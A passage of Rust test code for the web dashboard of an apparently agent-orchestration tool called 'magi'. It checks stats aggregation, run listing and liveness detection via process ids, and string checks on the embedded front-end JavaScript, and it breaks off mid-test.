7856        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7857        let alpha = advisors
7858            .as_array()
7859            .expect("an array")
7860            .iter()
7861            .find(|a| a["agent"] == "alpha")
7862            .expect("alpha row");
7863        assert_eq!(alpha["seated"], 2);
7864        assert_eq!(alpha["proposed"], 1);
7865        assert_eq!(alpha["absent"], 1);
7866        assert_eq!(alpha["strong"], 1);
7867        assert_eq!(alpha["faint"], 0);
7868        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7869    }
7870
7871    #[tokio::test]
7872    async fn stats_release_bumps_split_clean_from_attention() {
7873        use crate::run::ReleaseBump;
7874
7875        let f = Fixture::start().await;
7876
7877        let mut clean = RunState::new(
7878            PathBuf::from("/repo/magi"),
7879            "main".to_owned(),
7880            "0123456789abcdef".to_owned(),
7881            "task".to_owned(),
7882            Config::default(),
7883        );
7884        clean.id = "20260902-140501-a".to_owned();
7885        clean.status = RunStatus::Merged;
7886        clean.release_bump = Some(ReleaseBump {
7887            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7888            version: Some("1.0.0".to_owned()),
7889            automerge_enabled: true,
7890            merged_directly: false,
7891            problem: None,
7892            action_required: None,
7893        });
7894
7895        let mut blocked = RunState::new(
7896            PathBuf::from("/repo/magi"),
7897            "main".to_owned(),
7898            "0123456789abcdef".to_owned(),
7899            "task".to_owned(),
7900            Config::default(),
7901        );
7902        blocked.id = "20260902-140502-b".to_owned();
7903        blocked.status = RunStatus::Merged;
7904        blocked.release_bump = Some(ReleaseBump {
7905            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7906            version: Some("1.0.1".to_owned()),
7907            automerge_enabled: false,
7908            merged_directly: false,
7909            problem: Some("checks red".to_owned()),
7910            action_required: Some("look at the PR".to_owned()),
7911        });
7912
7913        for state in [&clean, &blocked] {
7914            let dir = f.runs().join(&state.id);
7915            std::fs::create_dir_all(&dir).expect("run dir");
7916            std::fs::write(
7917                dir.join("run.json"),
7918                serde_json::to_string_pretty(state).expect("serialize run"),
7919            )
7920            .expect("write run.json");
7921        }
7922
7923        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7924        assert_eq!(bumps["merged"], 2);
7925        assert_eq!(bumps["recorded"], 2);
7926        assert_eq!(bumps["pr_opened"], 2);
7927        assert_eq!(bumps["automerge_enabled"], 1);
7928        assert_eq!(bumps["needs_attention"], 1);
7929        assert_eq!(bumps["clean"], 1);
7930        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7931        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7932    }
7933
7934    #[tokio::test]
7935    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7936        let f = Fixture::start().await;
7937        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7938
7939        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7940        assert_eq!(bumps["merged"], 1);
7941        assert_eq!(bumps["recorded"], 0);
7942        // `merged` is nonzero, so coverage still reads as a real 0%, not an
7943        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
7944        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7945        // `pr_opened` and `recorded` are both zero here, so these rates have
7946        // no denominator to compute from and must be null.
7947        assert_eq!(bumps["automerge_rate"], Value::Null);
7948        assert_eq!(bumps["attention_rate"], Value::Null);
7949    }
7950
7951    #[tokio::test]
7952    async fn stats_queue_counts_come_from_the_live_queue() {
7953        let f = Fixture::start().await;
7954        let q = f.queue();
7955        let mut queued = Task::new(
7956            "queued task".to_owned(),
7957            "do it".to_owned(),
7958            PathBuf::from("/repo"),
7959            Source::Human,
7960        );
7961        q.put(&mut queued).expect("put queued");
7962        let mut held = Task::new(
7963            "held task".to_owned(),
7964            "do it later".to_owned(),
7965            PathBuf::from("/repo"),
7966            Source::Human,
7967        );
7968        held.hold_machine(Some("out of attempts".to_owned()));
7969        q.put(&mut held).expect("put held");
7970
7971        let queue = f.get("/api/stats").await.json()["queue"].clone();
7972        assert_eq!(queue["queued"], 1);
7973        assert_eq!(queue["held"], 1);
7974        assert_eq!(queue["running"], 0);
7975        assert_eq!(queue["done"], 0);
7976        assert_eq!(queue["failed"], 0);
7977        assert_eq!(queue["blocked"], 0);
7978    }
7979
7980    #[tokio::test]
7981    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7982        let f = Fixture::start().await;
7983        let stats = f.get("/api/stats").await;
7984        assert_eq!(stats.status, 200);
7985        assert_eq!(stats.json()["totals"]["runs"], 0);
7986        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7987        assert_eq!(stats.json()["runs_unreadable"], 0);
7988        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7989        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7990        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7991        assert_eq!(stats.json()["repo"], Value::Null);
7992    }
7993
7994    #[tokio::test]
7995    async fn stats_lists_every_repository_with_runs_recorded() {
7996        let f = Fixture::start().await;
7997        write_run_repo(
7998            &f.runs(),
7999            "20260902-140501-a",
8000            RunStatus::Merged,
8001            "/repos/a",
8002        );
8003        write_run_repo(
8004            &f.runs(),
8005            "20260902-140502-b",
8006            RunStatus::Merged,
8007            "/repos/a",
8008        );
8009        write_run_repo(
8010            &f.runs(),
8011            "20260902-140503-c",
8012            RunStatus::Blocked,
8013            "/repos/b",
8014        );
8015
8016        let stats = f.get("/api/stats").await;
8017        assert_eq!(stats.status, 200);
8018        // Unfiltered - the aggregate across both repositories.
8019        assert_eq!(stats.json()["totals"]["runs"], 3);
8020        assert_eq!(stats.json()["repo"], Value::Null);
8021
8022        let repos = stats.json()["repos"].clone();
8023        let repos = repos.as_array().unwrap();
8024        assert_eq!(repos.len(), 2);
8025        // Busiest (2 runs) first.
8026        assert_eq!(repos[0]["repo"], "/repos/a");
8027        assert_eq!(repos[0]["name"], "a");
8028        assert_eq!(repos[0]["runs"], 2);
8029        assert_eq!(repos[1]["repo"], "/repos/b");
8030        assert_eq!(repos[1]["runs"], 1);
8031    }
8032
8033    #[tokio::test]
8034    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8035        let f = Fixture::start().await;
8036        write_run_repo(
8037            &f.runs(),
8038            "20260902-140501-a",
8039            RunStatus::Merged,
8040            "/repos/a",
8041        );
8042        write_run_repo(
8043            &f.runs(),
8044            "20260902-140502-b",
8045            RunStatus::Blocked,
8046            "/repos/b",
8047        );
8048
8049        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8050        assert_eq!(stats.status, 200);
8051        assert_eq!(stats.json()["totals"]["runs"], 1);
8052        assert_eq!(stats.json()["totals"]["merged"], 1);
8053        assert_eq!(stats.json()["repo"], "/repos/a");
8054        // The repository list itself is unaffected by the filter - it is
8055        // what a client switches repositories from.
8056        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8057        // runs_unreadable is a whole-workload count, never scoped to the
8058        // selected repository - see StatsView::runs_unreadable's own doc.
8059        assert_eq!(stats.json()["runs_unreadable"], 0);
8060    }
8061
8062    #[tokio::test]
8063    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8064        let f = Fixture::start().await;
8065        write_run_repo(
8066            &f.runs(),
8067            "20260902-140501-a",
8068            RunStatus::Merged,
8069            "/repos/a",
8070        );
8071
8072        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8073        assert_eq!(stats.status, 404);
8074    }
8075
8076    #[tokio::test]
8077    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8078        let f = Fixture::start().await;
8079        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8080
8081        let summary = f.get("/api/runs").await.json();
8082        let row = &summary[0];
8083        assert_eq!(row["short"], "a1b2");
8084        assert_eq!(row["status"], "ready");
8085        assert_eq!(row["done"], true);
8086        assert_eq!(row["title"], "Add a web UI");
8087        assert_eq!(row["repo_name"], "magi");
8088        assert_eq!(row["judges"], 3);
8089        assert_eq!(row["winner"], Value::Null);
8090        assert_eq!(row["reviews"], 0);
8091
8092        // The short id resolves, and the detail route is the state itself, not
8093        // a projection of it: the UI reads fields the summary does not carry.
8094        let detail = f.get("/api/runs/a1b2").await;
8095        assert_eq!(detail.status, 200);
8096        assert_eq!(detail.json()["base_branch"], "main");
8097        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8098    }
8099
8100    /// `status: "ready"` alone cannot tell a run still headed for a landing
8101    /// (a PR closed without merging, say) apart from one `[merge] mode =
8102    /// "none"` left unmerged for good — the confusion the operator flagged
8103    /// after the CLI report already grew a `not landed — nothing to do by
8104    /// design` line for exactly this case (`report.rs`). Both the list route
8105    /// and the detail route must carry a flag the phone can key on instead of
8106    /// re-deriving it from `status` + `merge.mode` itself.
8107    #[tokio::test]
8108    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8109        let f = Fixture::start().await;
8110
8111        let mut none_run = RunState::new(
8112            PathBuf::from("/repo/magi"),
8113            "main".to_owned(),
8114            "0123456789abcdef".to_owned(),
8115            "Add a web UI".to_owned(),
8116            Config::default(),
8117        );
8118        none_run.id = "20260902-140503-none".to_owned();
8119        none_run.status = RunStatus::Ready;
8120        none_run.merge = Some(crate::run::MergeOutcome {
8121            mode: crate::config::MergeMode::None,
8122            ok: true,
8123            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8124            empty: false,
8125        });
8126        write_state(&f.runs(), &none_run);
8127
8128        let mut pr_run = RunState::new(
8129            PathBuf::from("/repo/magi"),
8130            "main".to_owned(),
8131            "0123456789abcdef".to_owned(),
8132            "Add a web UI".to_owned(),
8133            Config::default(),
8134        );
8135        pr_run.id = "20260902-140504-prcl".to_owned();
8136        pr_run.status = RunStatus::Ready;
8137        pr_run.merge = Some(crate::run::MergeOutcome {
8138            mode: crate::config::MergeMode::Pr,
8139            ok: false,
8140            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8141            empty: false,
8142        });
8143        write_state(&f.runs(), &pr_run);
8144
8145        let summary = f.get("/api/runs").await.json();
8146        let rows: std::collections::HashMap<&str, &Value> = summary
8147            .as_array()
8148            .expect("an array")
8149            .iter()
8150            .map(|r| (r["id"].as_str().expect("an id"), r))
8151            .collect();
8152        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8153        assert_eq!(
8154            rows[none_run.id.as_str()]["unmerged_by_design"],
8155            true,
8156            "a mode-none Ready must be flagged in the list"
8157        );
8158        assert_eq!(
8159            rows[pr_run.id.as_str()]["unmerged_by_design"],
8160            false,
8161            "a Ready reached by a closed pull request is a different case"
8162        );
8163
8164        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8165        assert_eq!(none_detail["status"], "ready");
8166        assert_eq!(none_detail["unmerged_by_design"], true);
8167
8168        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8169        assert_eq!(pr_detail["unmerged_by_design"], false);
8170    }
8171
8172    /// `RunState::active` is only ever cleared by whoever populated it, so the
8173    /// detail route also has to say whether a daemon is actually still
8174    /// driving this run right now — otherwise a seat from a killed process's
8175    /// last wave would read as live forever.
8176    #[tokio::test]
8177    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8178        let f = Fixture::start().await;
8179        // Matches `write_daemon`'s hard-coded `current.run`, so the second
8180        // half of this test can claim the daemon is working on it without a
8181        // second helper.
8182        let id = "20260902-140502-bbbb";
8183        let mut state = RunState::new(
8184            PathBuf::from("/repo/magi"),
8185            "main".to_owned(),
8186            "0123456789abcdef".to_owned(),
8187            "Add a web UI".to_owned(),
8188            Config::default(),
8189        );
8190        state.id = id.to_owned();
8191        state.status = RunStatus::Judging;
8192        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8193        let dir = f.runs().join(id);
8194        std::fs::create_dir_all(&dir).expect("run dir");
8195        std::fs::write(
8196            dir.join("run.json"),
8197            serde_json::to_string_pretty(&state).expect("serialize run"),
8198        )
8199        .expect("write run.json");
8200
8201        // No daemon.json at all, and no `driver_pid` recorded either (this
8202        // state was written directly, never through `execute()`): there is
8203        // nothing to confirm either way, so the route must say `"unknown"` —
8204        // never `"dead"`, which is exactly the false diagnosis a manual `magi
8205        // run` used to get from this route before `driver_pid` existed.
8206        let cold = f.get(&format!("/api/runs/{id}")).await.json();
8207        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8208        assert_eq!(cold["live"], "unknown", "{cold}");
8209
8210        // A fresh heartbeat naming exactly this run: the same entry now reads
8211        // as confirmed, not merely recorded.
8212        write_daemon(f.home.path(), Timestamp::now());
8213        let warm = f.get(&format!("/api/runs/{id}")).await.json();
8214        assert_eq!(warm["live"], "live", "{warm}");
8215    }
8216
8217    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
8218    /// review` claims no daemon at all, so before this field existed the
8219    /// route above read it as `"dead"` — indistinguishable from a run a
8220    /// killed process abandoned — the whole time it was genuinely still
8221    /// answering. With a live pid recorded, it must read `"live"` even
8222    /// though no daemon claims it.
8223    #[tokio::test]
8224    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8225        let f = Fixture::start().await;
8226        let id = "20260922-090000-cccc";
8227        let mut state = RunState::new(
8228            PathBuf::from("/repo/magi"),
8229            "main".to_owned(),
8230            "0123456789abcdef".to_owned(),
8231            "Review only".to_owned(),
8232            Config::default(),
8233        );
8234        state.id = id.to_owned();
8235        state.status = RunStatus::Reviewing;
8236        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8237        // This test process's own pid: guaranteed alive, and never needs a
8238        // real daemon or a second process to prove it. The matching start-time
8239        // marker is what `liveness` now requires alongside a live pid — see
8240        // `RunState::driver_started_at`'s own doc for why the pid alone is
8241        // not enough.
8242        state.driver_pid = Some(std::process::id());
8243        state.driver_started_at = Some(
8244            crate::proc::process_started_at(std::process::id())
8245                .expect("this test process's own start time must be queryable"),
8246        );
8247        let dir = f.runs().join(id);
8248        std::fs::create_dir_all(&dir).expect("run dir");
8249        std::fs::write(
8250            dir.join("run.json"),
8251            serde_json::to_string_pretty(&state).expect("serialize run"),
8252        )
8253        .expect("write run.json");
8254
8255        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8256        assert_eq!(detail["live"], "live", "{detail}");
8257    }
8258
8259    /// A killed manual run's pid can be handed to a wholly unrelated later
8260    /// process — a live query on `driver_pid` alone would read this as
8261    /// `"live"`, exactly the false positive `driver_started_at` exists to
8262    /// catch (see that field's own doc, and `RunState::liveness_with`'s
8263    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
8264    #[tokio::test]
8265    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8266        let f = Fixture::start().await;
8267        let id = "20260922-090100-dddd";
8268        let mut state = RunState::new(
8269            PathBuf::from("/repo/magi"),
8270            "main".to_owned(),
8271            "0123456789abcdef".to_owned(),
8272            "Review only".to_owned(),
8273            Config::default(),
8274        );
8275        state.id = id.to_owned();
8276        state.status = RunStatus::Reviewing;
8277        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8278        // This test process's own pid really is alive, but the marker
8279        // recorded here does not match what it actually started at —
8280        // standing in for the pid having since been reused by a different
8281        // process than the one that wrote `run.json`.
8282        state.driver_pid = Some(std::process::id());
8283        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8284        let dir = f.runs().join(id);
8285        std::fs::create_dir_all(&dir).expect("run dir");
8286        std::fs::write(
8287            dir.join("run.json"),
8288            serde_json::to_string_pretty(&state).expect("serialize run"),
8289        )
8290        .expect("write run.json");
8291
8292        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8293        assert_eq!(detail["live"], "dead", "{detail}");
8294    }
8295
8296    /// The deck's competition list is normally the first place an operator
8297    /// sees an old run. It must carry the same process verdict as detail, or
8298    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
8299    #[test]
8300    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8301        let mk = |id: &str, pid: Option<u32>| {
8302            let mut s = RunState::new(
8303                PathBuf::from("/repo/magi"),
8304                "main".to_owned(),
8305                "0123456789abcdef".to_owned(),
8306                "Add a web UI".to_owned(),
8307                Config::default(),
8308            );
8309            s.id = id.to_owned();
8310            s.driver_pid = pid;
8311            s.driver_started_at = Some("t0".to_owned());
8312            s
8313        };
8314        let states = vec![
8315            mk("20260902-140502-aaaa", Some(77)),
8316            mk("20260902-140502-bbbb", Some(77)),
8317            mk("20260902-140502-cccc", Some(77)),
8318            mk("20260902-140502-dddd", None),
8319        ];
8320        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8321        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8322        let sup: HashMap<String, String> = [(
8323            "20260902-140502-aaaa".to_owned(),
8324            "20260902-140502-cccc".to_owned(),
8325        )]
8326        .into();
8327
8328        let status_calls = std::cell::Cell::new(0);
8329        let identity_calls = std::cell::Cell::new(0);
8330        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8331            |_| {
8332                status_calls.set(status_calls.get() + 1);
8333                Some(true)
8334            },
8335            |_| {
8336                identity_calls.set(identity_calls.get() + 1);
8337                Some("t0".to_owned())
8338            },
8339        ));
8340        let rows = summarize(
8341            states,
8342            &open,
8343            &claimed,
8344            &sup,
8345            |p| probe.borrow_mut().status(p),
8346            |p| probe.borrow_mut().started_at(p),
8347        );
8348
8349        assert_eq!(status_calls.get(), 1, "one pid, one status query");
8350        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8351        assert_eq!(rows.len(), 4);
8352        assert!(!rows[0].waiting && rows[1].waiting);
8353        assert_eq!(rows[0].live, crate::run::Liveness::Live);
8354        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8355        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8356        assert_eq!(rows[1].superseded_by, None);
8357    }
8358
8359    #[test]
8360    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8361        let mut state = RunState::new(
8362            PathBuf::from("/repo/magi"),
8363            "main".to_owned(),
8364            "0123456789abcdef".to_owned(),
8365            "Review only".to_owned(),
8366            Config::default(),
8367        );
8368        state.id = "20260922-090200-dead".to_owned();
8369        state.status = RunStatus::Reviewing;
8370        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8371            .expect("serialize list row");
8372        assert_eq!(row["status"], "reviewing");
8373        assert_eq!(row["live"], "dead", "{row}");
8374        assert!(!row["done"].as_bool().unwrap());
8375    }
8376
8377    #[tokio::test]
8378    async fn the_run_list_is_newest_first_and_honours_a_limit() {
8379        let f = Fixture::start().await;
8380        for id in [
8381            "20260902-140501-aaaa",
8382            "20260902-140502-bbbb",
8383            "20260902-140503-cccc",
8384        ] {
8385            write_run(&f.runs(), id, RunStatus::Merged);
8386        }
8387
8388        let all = f.get("/api/runs").await.json();
8389        let capped = f.get("/api/runs?limit=2").await.json();
8390
8391        assert_eq!(all[0]["id"], "20260902-140503-cccc");
8392        assert_eq!(all.as_array().map(Vec::len), Some(3));
8393        assert_eq!(capped.as_array().map(Vec::len), Some(2));
8394        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8395    }
8396
8397    #[tokio::test]
8398    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8399        let f = Fixture::start().await;
8400        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8401
8402        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8403
8404        assert_eq!(res.status, 200);
8405        assert!(
8406            res.headers
8407                .contains("content-type: text/plain; charset=utf-8"),
8408            "a browser must render it, not download it: {}",
8409            res.headers
8410        );
8411        // The assertion is on content, not on the absence of escapes: colour
8412        // is a process-global that `serve` turns off at startup, and another
8413        // test in this binary may own it while this one runs.
8414        assert!(
8415            res.body.contains("20260902-140501-a1b2"),
8416            "the report is about the run that was asked for: {}",
8417            res.body
8418        );
8419    }
8420
8421    #[tokio::test]
8422    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8423        let f = Fixture::start().await;
8424
8425        let html = f.get("/").await;
8426        let css = f.get("/app.css").await;
8427        let js = f.get("/app.js").await;
8428
8429        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8430        assert!(
8431            html.headers
8432                .contains("content-type: text/html; charset=utf-8")
8433        );
8434        assert!(css.headers.contains("content-type: text/css"));
8435        assert!(js.headers.contains("content-type: text/javascript"));
8436        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8437    }
8438
8439    #[test]
8440    fn review_rounds_label_a_distinct_verified_head() {
8441        assert!(APP_JS.contains("round.verified_head"));
8442        assert!(APP_JS.contains("verified HEAD"));
8443        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8444    }
8445
8446    #[test]
8447    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8448        // A blocked task's chip and note must not fall back to a queued-like
8449        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
8450        // itself by e11fc58 but never checked here.
8451        assert!(APP_JS.contains("blocked: { glyph:"));
8452        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8453
8454        // `blocked_by` mixes task ids and question ids in the same list, and
8455        // the client can only tell them apart by checking each id against
8456        // what it actually knows - never by guessing from the id's shape.
8457        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8458        assert!(
8459            APP_JS.contains(
8460                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8461            ),
8462            "the note line must name what a blocked task is waiting on, not just that it is blocked"
8463        );
8464        // The classification must key off `status_str`, never off `blocked_by`
8465        // or `block_reason` merely being present - both can survive briefly
8466        // on a task a hold or a dead daemon just moved off `blocked`.
8467        assert!(APP_JS.contains("if (status === \"blocked\") {"));
8468
8469        // A question a task is blocked on gets its own node in the same
8470        // dependency graph, not just a task-shaped node with nothing known
8471        // about it.
8472        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8473        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8474        assert!(
8475            APP_JS.contains("location.hash = \"#/questions\";"),
8476            "a question node must jump to the Questions screen, not pretend to be a task"
8477        );
8478
8479        // `Task::answers` - decisions already made - are shown as a record on
8480        // the card, the same disclosure style as the full instruction.
8481        assert!(APP_JS.contains("Resolved questions"));
8482        assert!(APP_JS.contains("r.answersList.append("));
8483        assert!(APP_CSS.contains(".task-answers"));
8484    }
8485
8486    #[test]
8487    fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8488        // A `kind: "task"` notice link used to drop the id on the floor and
8489        // point at `#/queue` outright, so every task notification landed on
8490        // whatever happened to be first in the Backlog rather than the task
8491        // it was actually about.
8492        assert!(
8493            APP_JS.contains(
8494                "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8495            ),
8496            "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8497        );
8498        assert!(
8499            !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8500            "regression: the task link must not go back to naming the bare Backlog route"
8501        );
8502
8503        // The route parser has to read that id back out before applyRoute()
8504        // can do anything with it.
8505        assert!(
8506            APP_JS.contains(
8507                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8508            ),
8509            "`#/queue/<id>` must parse into a route carrying that id"
8510        );
8511
8512        // And the Backlog view has to actually land on the card once it can
8513        // - see consumeQueueFocus(), which renderQueue() calls on every pass
8514        // so a focus set before the queue has loaded is retried once it has.
8515        assert!(APP_JS.contains("state.queueFocus = route.id;"));
8516        assert!(APP_JS.contains("function consumeQueueFocus()"));
8517        assert!(APP_JS.contains("jumpToTask(id);"));
8518    }
8519
8520    #[test]
8521    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8522        // consumeQueueFocus() clears an active Backlog search before it can
8523        // scroll to the target card (the sections list is hidden while a
8524        // search is showing), by recursing back into renderQueue(). The
8525        // fixer's first cut nulled state.queueFocus before that recursive
8526        // call, so the second pass saw nothing to jump to and the jump was
8527        // silently dropped whenever a notification's link was opened with a
8528        // stale search still active. state.queueFocus must only be cleared
8529        // right before jumpToTask() actually runs.
8530        assert!(
8531            APP_JS.contains(
8532                "  if (!id || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8533            ),
8534            "the search-clearing branch must run before state.queueFocus is cleared, or the \
8535             recursive renderQueue() call has nothing left to jump to"
8536        );
8537        assert!(
8538            APP_JS.contains("state.queueFocus = null;\n  jumpToTask(id);"),
8539            "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8540        );
8541    }
8542
8543    #[test]
8544    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8545        // The task's own repro: only the link text inside .notice-meta was
8546        // clickable, so a tap on the message, the timestamp, or the card's
8547        // padding did nothing - on a phone that reads as "the card doesn't
8548        // work" even though the tiny link inside it did. Mark read / Dismiss
8549        // must keep working independently of this: `.closest("a, button")`
8550        // is what lets a tap that actually lands on those elements fall
8551        // through instead of being hijacked into a navigation.
8552        assert!(
8553            APP_JS.contains(
8554                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8555            ),
8556            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8557        );
8558    }
8559
8560    #[test]
8561    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8562        assert!(
8563            APP_JS.contains("round.verified_head !== round.head"),
8564            "a round that verified an earlier commit must be visibly distinct from one that \
8565             verified the head reviewers are looking at now"
8566        );
8567        assert!(
8568            APP_JS.contains("round.verified_at"),
8569            "when a check ran must be on the wire, not just which commit"
8570        );
8571        assert!(
8572            APP_JS.contains("resource_blocked"),
8573            "a command magi never got to run (shared build cache contention) must not render \
8574             the same as a command that ran and failed"
8575        );
8576    }
8577
8578    #[test]
8579    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8580        // Every KPI tile but Total runs and Completion names an exact
8581        // RunStatus and hands it to openRunsFiltered(), which is what wires
8582        // the click into state.runsFilter.status (matchesFilter's own
8583        // status check) rather than the coarser runsStateFilter chips. Each
8584        // status literal here must be one of the strings runSection() (and
8585        // isStale()) actually compare a run's own `status` field against -
8586        // a status this dashboard invented would filter to nothing.
8587        assert!(
8588            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8589            "every KPI tile built through statusTile() must route its click through \
8590             openRunsFiltered, the single place that sets the Runs filter"
8591        );
8592        for (label, status) in [
8593            ("Merged", "merged"),
8594            ("Ready", "ready"),
8595            ("Blocked", "blocked"),
8596            ("Stalled", "stalled"),
8597        ] {
8598            let call = format!("statusTile(\"{label}\", t.{status}, ");
8599            assert!(
8600                APP_JS.contains(&call),
8601                "expected the {label} KPI tile built via {call}..."
8602            );
8603            assert!(
8604                APP_JS.contains(&format!("status === \"{status}\"")),
8605                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8606                 compare a run against, not one invented only for the stats tile"
8607            );
8608        }
8609        assert!(
8610            APP_JS.contains("function openRunsFiltered(status)"),
8611            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8612        );
8613        assert!(
8614            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8615            "matchesFilter must gate on the exact status a KPI tile named"
8616        );
8617        // applyRoute() only flips which view is visible for a plain `#runs`
8618        // hash - it does not itself redraw the list (see applyRoute's own
8619        // handling below) - so openRunsFiltered must call renderRuns()
8620        // itself, and must call applyRoute() too so the view flips even
8621        // when the hash string doesn't change (the operator may already be
8622        // on the Runs view when a tile is tapped, which fires no
8623        // hashchange event at all).
8624        assert!(
8625            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
8626            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8627             hashchange event that may never fire"
8628        );
8629    }
8630
8631    #[test]
8632    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8633        // A stats tile can leave state.runsFilter.status set to something
8634        // done-by-construction (e.g. "merged") - picking "Active" afterward
8635        // must drop it the same way an incompatible tree section is already
8636        // dropped, or the Runs list renders permanently empty with no way
8637        // for the operator to tell why.
8638        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8639        assert!(
8640            APP_JS.contains(
8641                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
8642            ),
8643            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8644             guard for an incompatible tree section"
8645        );
8646    }
8647
8648    #[test]
8649    fn every_stats_queue_tile_names_a_real_queue_section() {
8650        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
8651        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
8652        // (consumeQueueSectionFocus finds no matching <details> and drops
8653        // the focus) rather than fail loudly, so pin every key against the
8654        // section list it has to resolve against.
8655        assert!(
8656            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8657            "every queue tile built through sectionTile() must route its click through \
8658             openQueueSectionFocus"
8659        );
8660        for key in ["upnext", "running", "done", "held", "blocked"] {
8661            assert!(
8662                APP_JS.contains(&format!("{{ key: \"{key}\",")),
8663                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8664            );
8665        }
8666        // Queued and Failed intentionally both resolve to "upnext" - the
8667        // same section queueSection() itself files them under - rather than
8668        // getting a section each.
8669        for line in [
